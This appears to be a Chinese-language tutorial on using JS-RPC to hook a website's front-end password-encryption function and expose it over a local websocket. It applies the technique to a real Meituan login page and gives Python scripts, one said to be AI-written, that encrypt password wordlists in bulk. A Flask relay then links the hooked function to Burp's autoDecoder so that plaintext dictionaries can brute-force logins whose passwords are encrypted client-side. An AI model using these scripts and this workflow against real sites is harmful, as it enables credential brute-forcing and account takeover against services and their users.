案例演示
思路就是 这个 jsrpc远程加载加密函数的方法就是 在js代码中进行插入一个 远程加载的代码 从而实现 :
第一步还是使用 js_tools 进行
查找算法的位置 这个可以帮助我们找到明文=>密文 加密算法函数的位置
因为这个需要我们进行js前端代码的修改 所以我们还需要使用本地覆盖的方法
创建一个本地覆盖的项目 把这个带有加密函数的 js文件替换到替换内容中去
在此之前 我们先 进行联动一下
执行hook 然后我们修改一下 加密函数那个位置的代码
var demo =new H1client("ws://127.0.0.1:12080/ws?group=xiaodi&name=xiaodisec");
//这个是 进行远程的会话连接
demo.regAction("pass",function(resolve,param){ //创建一个新的行为 pass 他的作用就是调用 l() 函数 这样我们进行连接的时候这个l() 其实就是被调用到了远程地址的位置 :ws://127.0.0.1:12080/ws?group=xiaodi&name=xiaodise 这个就是我们的远程地址resolve(l(param));
})// 备用代码
var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=xiaodi");demo.regAction("pass",function(resolve,param){resolve(l(param));});
第二个练习案例
先导入 内的代码
https://passport.meituan.com/account/unitivelogin
然后我们根据这个发起程序进行调试堆栈找加密的地方
var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=xiaodi");
// 创建一个rpc的实例 实例的地址是 //127.0.0.1:12080 密码是 xiaodidemo.regAction("pass",function(resolve,param){resolve(encrypt.encrypt(param));});// 创建实例的一个方法 名称为 pass 需要传入一个参数 param
然后完成这些之后 我们直接访问本地的console 就完事了
http://127.0.0.1:12080/go?group=xiaodi&action=pass¶m=123456
因为xiaodi这个组内只有一个 方法所以我们是不用写name的 但是如果需要多个接口需要给接口名字
这个就是123456加密的数据
可以使用对方的浏览器测试 我们把密码写为 123456
但是密码变了 所以这个对方是使用的特点库并且是有偏移的
每次刷新
http://127.0.0.1:12080/go?group=xiaodi&action=pass¶m=123456
也会进行变化
联动burp进行爆破的思路
对于这样的js保护的加密我们进行bp的思路 :1、直接把字典换为加密之后的 然后使用加密之后的字典进行 bp 2、使用加密逻辑的接口(auto decode插件的功能) 然后我们只需使用明文字典进行bp即可
但是这个mt的这个肯定是不行的因为是动态的
当然思路是通的 让ai 写个脚本
import requests
import json
from urllib.parse import quote
import timedef encrypt_data(dictionary_path, output_file):"""读取字典文件,发送加密请求,保存加密结果:param dictionary_path: 字典文件路径:param output_file: 结果保存路径"""# 读取字典文件try:with open(dictionary_path, 'r', encoding='utf-8') as f:words = [line.strip() for line in f if line.strip()]print(f"成功读取字典文件,共 {len(words)} 个条目")except Exception as e:print(f"读取字典文件失败: {str(e)}")return# 处理每个单词的加密请求results = []success_count = 0fail_count = 0print("\n开始加密处理...")for i, word in enumerate(words):try:# URL编码并构造请求URLencoded_word = quote(word)url = f"http://127.0.0.1:12080/go?group=xiaodi&action=pass¶m={encoded_word}"# 发送HTTP请求response = requests.get(url, timeout=10)response.raise_for_status() # 检查HTTP错误# 解析JSON响应并提取data字段json_data = response.json()if 'data' in json_data:encrypted = json_data['data']results.append(f"{word} -> {encrypted}")success_count += 1status = "✓"else:results.append(f"{word} -> 错误: 响应中缺少data字段")fail_count += 1status = "✗"# 进度显示progress = (i + 1) / len(words) * 100print(f"[{status}] [{i+1}/{len(words)} {progress:.1f}%] {word.ljust(20)} => {encrypted if 'data' in json_data else 'ERROR'}")except requests.exceptions.RequestException as e:results.append(f"{word} -> 网络请求失败: {str(e)}")fail_count += 1print(f"[✗] [{i+1}/{len(words)}] {word} - 网络错误: {str(e)}")except json.JSONDecodeError:results.append(f"{word} -> 错误: 无效的JSON响应")fail_count += 1print(f"[✗] [{i+1}/{len(words)}] {word} - 响应不是有效的JSON")except Exception as e:results.append(f"{word} -> 未知错误: {str(e)}")fail_count += 1print(f"[✗] [{i+1}/{len(words)}] {word} - 错误: {str(e)}")# 添加延迟避免服务器压力time.sleep(0.1)# 保存结果到文件try:with open(output_file, 'w', encoding='utf-8') as f:f.write("\n".join(results))print(f"\n处理完成: 成功 {success_count}, 失败 {fail_count}")print(f"加密结果已保存到: {output_file}")except Exception as e:print(f"结果保存失败: {str(e)}")if __name__ == "__main__":# 配置参数dictionary_file = "1.txt" # 字典文件路径result_file = "encrypted_results.txt" # 结果文件路径print("="*60)print("字典加密处理工具")print("="*60)print(f"字典文件: {dictionary_file}")print(f"结果文件: {result_file}")print(f"目标API: http://127.0.0.1:12080/go?group=xiaodi&action=pass¶m=")print("="*60 + "\n")encrypt_data(dictionary_file, result_file)
第二种方法 : 使用接口加密
明文字典爆破 这个就可以应用在动态 加密数据 因为接口也是动态的
联动 先改一下设置
然后这个还需要一个监听的 接口的脚本 :
import requests
import json
from urllib.parse import quote
from flask import Flask, requestapp = Flask(__name__)
url = "http://localhost:12080/go" # 这个需要和 rpc的端口一致
@app.route('/encode',methods=["POST"]) #访问这个 /encode的时候需要带参数
def encrypt(): param = request.form.get('dataBody') # 获取 post 参数 #print(json.dumps(param))param_headers = request.form.get('dataHeaders') # 获取 post 参数 这个参数需要进行传递param_requestorresponse = request.form.get('requestorresponse') # 获取 post 参数 data = {"group": "xiaodi",# "name": "xiaodisec","action": "pass","param": json.dumps(param)}res = requests.post(url, data=data) #这里换get也是可以的encry_param = json.loads(res.text)['data']print(encry_param)if param_requestorresponse == "request": return param_headers + "\r\n\r\n\r\n\r\n" + encry_param return encry_param@app.route('/decode',methods=["POST"])
def decrypt(): param = request.form.get('dataBody') # 获取 post 参数 param_headers = request.form.get('dataHeaders') # 获取 post 参数 param_requestorresponse = request.form.get('requestorresponse') # 获取 post 参数 print(param)data = {"group": "xiaodi","name": "xiaodisec","action": "dec","param": param}res = requests.post(url, data=data) #这里换get也是可以的decrypt_param = json.loads(res.text)['data']print(decrypt_param)if param_requestorresponse == "request": return param_headers + "\r\n\r\n\r\n\r\n" + decrypt_param else: return decrypt_param if __name__ == '__main__': app.debug = True # 设置调试模式,生产模式的时候要关掉debug app.run(host="0.0.0.0",port="8888")
这个是根据 .jar 插件改的
这个联动的原理: 就是
这个脚本会监听本地的8888 然后 aoto对应的就是 8.8.8.8 无论是加密还是解密
我们访问web的时候这个插件会进行转发到 把加密的数据 发到 8.8.8.8 (数据的定位需要进行工具的配置) 然后 这个 8.8.8.8 web会根据 falsk的指令然后去访问
127.0.0.1:12080/go?group=xiaodi&action=pass¶m=123
然后param 是 8888 端口进行转发的数据 就会显示加解密(这边是实现的加密) 然后接口获得加密数据之后 就会对我们的数据包的参数进行 加密为加密的数据 这样我们就能单凭借 明文字典就能实现bp